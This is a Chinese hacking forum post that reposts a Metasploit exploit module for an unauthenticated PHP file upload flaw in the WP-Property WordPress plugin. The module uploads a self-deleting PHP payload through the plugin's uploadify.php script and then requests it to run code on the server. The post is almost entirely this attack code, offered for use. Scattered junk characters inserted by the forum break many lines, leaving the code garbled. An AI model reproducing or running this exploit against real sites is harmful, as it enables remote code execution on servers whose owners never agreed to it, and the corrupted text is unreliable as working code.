找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2174|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞( O# q4 p7 H5 ~0 m1 l

4 x; k9 z( [( ?, G0 @, o  i ## # This file is part of the Metasploit Framework and may be subject to
! [3 G$ ^- U* ~& p9 u- P" K5 {) t" T. L3 S% X7 ~
# redistribution and commercial restrictions. Please see the Metasploit: W6 G. w! }& d$ ^9 _$ }
' S% k; e- E9 Y
# Framework web site for more information on licensing and terms of use.( z  B2 S; o1 |: Z, G* @$ y1 L, o

' T9 a3 }0 I: B2 }3 u#   http://metasploit.com/framework/ ##0 T6 k2 }2 X" Y" r# F

/ H0 o$ J6 G! q& s0 W - R- ]. O: J: H0 u6 P8 P
7 |- ^% r% z) Y
  y9 j/ }: G3 D

8 u8 ?' w+ f" b6 N4 q: orequire 'msf/core'
. b+ H( B3 @, arequire 'msf/core/exploit/php_exe'
* G# V+ ]; M2 S# @+ r8 p2 r2 B
. d4 r$ r4 |' Z5 Q$ W* U( `% u$ eclass Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',
! C+ F6 D& p# J. x0 o6 o'Description'    => %q{  Y9 X1 ^' w1 ?8 I0 r, o4 @1 ^/ Z
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>
( A& U- ^3 x( k% ]2 |( ~  z[
1 n$ P4 u; g) L1 R'Sammy FORGIT', # initial discovery
  |, V2 n5 P; ]/ P- X- X'James Fitts <fitts.james[at]gmail.com>' # metasploit module6 L9 P; x# H7 `* z% S* O# A, p- ?3 S
],3 A  n  D1 U$ ~& h. |
'License'        => MSF_LICENSE,* R/ S; r( h2 n1 j4 j( {$ _0 R
'References'     =>4 {- G% ]0 w, s# m" |: n
[7 |& G4 [+ Y( O  `( o/ h: I( s
[ 'OSVDB', '82656' ],
! x, H8 \% F; `" n* O; e* \[ 'BID', '53787' ],
% T8 W6 V: }. d. L% _( T4 v[ 'EDB', '18987'],
* ^$ n! J+ `$ v" Y' s/ V[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]# A+ F1 A2 L9 e1 B/ L8 \+ _! S
],% H9 L6 ]4 x; }( |! U
'Payload'        =>
3 K* D' U  |; _) h% |{
: a4 i# p- z1 N8 p'BadChars' => "\x00",
3 v' f6 w! A9 ^},( m, r% c1 @. W3 {% E
'Platform'       => 'php',
4 G0 P3 e- Q* P$ E! `1 V' f4 s'Arch'           => ARCH_PHP,1 x  \/ e* D( |8 a- D3 g
'Targets'        =>7 g- _8 O$ r. i
[+ H/ ?- b1 n5 y: N
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
  z( D+ \0 j% j2 M2 i9 ~1 G[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
3 D& \* d1 I9 n3 Y, |],
4 T  V/ e& `5 V2 |. k/ O7 Y5 L'DefaultTarget'  => 0,9 p0 F! c$ E0 }7 R$ h( _2 U
'DisclosureDate' => 'Mar 26 2012'))8 `% [, f3 r$ v3 r& {, W
; l6 }& a+ p" \: j/ D% h# v% B1 @
register_options(6 @" ?; @+ ^/ D+ d
[7 m  r) [7 Q3 W
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
7 t3 b: p' [- \" d* S9 I], self.class), M* v* V0 ?/ v4 C
end5 q6 |& d8 X* d2 G3 h
0 e$ p- K- Y% W0 w4 ]
def check! H+ H2 R8 `4 m
uri =  target_uri.path/ [( O% v9 m5 G& N# o% W
uri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',
( S$ v( y$ g% [7 i) d: S'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
+ |5 K8 b! g9 u8 L) @' l" x})
, }- y* P' p# M# d7 |# p* G5 S* [5 ]8 r" ^0 ?
if not res or res.code != 2004 w  u1 _6 A% [: u2 V. V- D
return Exploit::CheckCode::Unknown
2 M( u' C4 U8 x) l8 q+ Aend
, H6 g# f; y& B: F- J) H* r9 o
6 [: ?: w- k: T( `" Nreturn Exploit::CheckCode::Appears
- K6 J' R+ q: H" t. q  xend
# p  w- V$ G9 Z. K* I) ^" ]" Q5 ]' X
def exploit# _' u; Y) k8 e2 `5 z+ l, z( R( D
uri =  target_uri.path- F8 K" M, {5 |* @9 B" |8 E% Z
uri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)4 E% c' ~7 ]) a6 M4 D5 j

  @* v" C# ~: {- u% {, \, Wdata = Rex::MIME::Message.new% `, G; K& t# e$ n
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")" m$ [  `* c& @% }
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")5 A& J/ X0 |8 ?/ Z- O) d% l3 ^# ]3 o
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')1 h9 K3 _. z3 A3 J7 W% e7 k2 V

2 `- x4 b" Y" c: v5 w; ^! hprint_status("#{peer} - Uploading payload #{@payload_name}")
  u7 ^6 l' C7 Z: R; ares = send_request_cgi({- s* R( `0 u6 y' H# ]
'method' => 'POST',1 D$ |' L5 D% Q3 y/ K# ^
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
+ j5 \5 B& W8 u1 _$ @2 P2 O'ctype'  => "multipart/form-data; boundary=#{data.bound}",4 N( _" u' j+ q0 b0 E; k* H- A5 i# ~
'data'   => post_data
& U, p; c" |4 e; g1 C& ~) t, M})5 V* p" n4 R1 E0 \7 c

, u# l4 |% X: f2 F$ w: W! A$ hif not res or res.code != 200 or res.body !~ /#{@payload_name}/9 Y  W: w; ~) p! b6 i
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")4 U! k8 Q: }+ L: A  y9 B
end/ @+ y4 _7 `* j
) e5 f+ R: @9 z2 p
upload_uri = res.body" T; _& g! @8 y9 k3 w0 }( p
$ u' M! m& |* t; o  i
print_status("#{peer} - Executing payload #{@payload_name}")
% A9 N) a/ E$ Z+ c/ vres = send_request_raw({
  z/ R) ^* s; Y2 @'uri'    => upload_uri,
( \# J. R0 c4 i'method' => 'GET'
' v5 u- b+ }9 v& l( f9 e3 b})
) u1 O& ^/ @, d6 z5 [end5 V$ a$ w' M: l: R
end
$ P& }" J! ]0 }0 s6 G& h& A
6 e9 ~$ d2 R+ e: c( x& ]. E不要问我这写的是什么 怎么利用 我是说msf.
8 C; A9 v7 ?+ k5 q; R  l+ c9 a2 W' d% @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表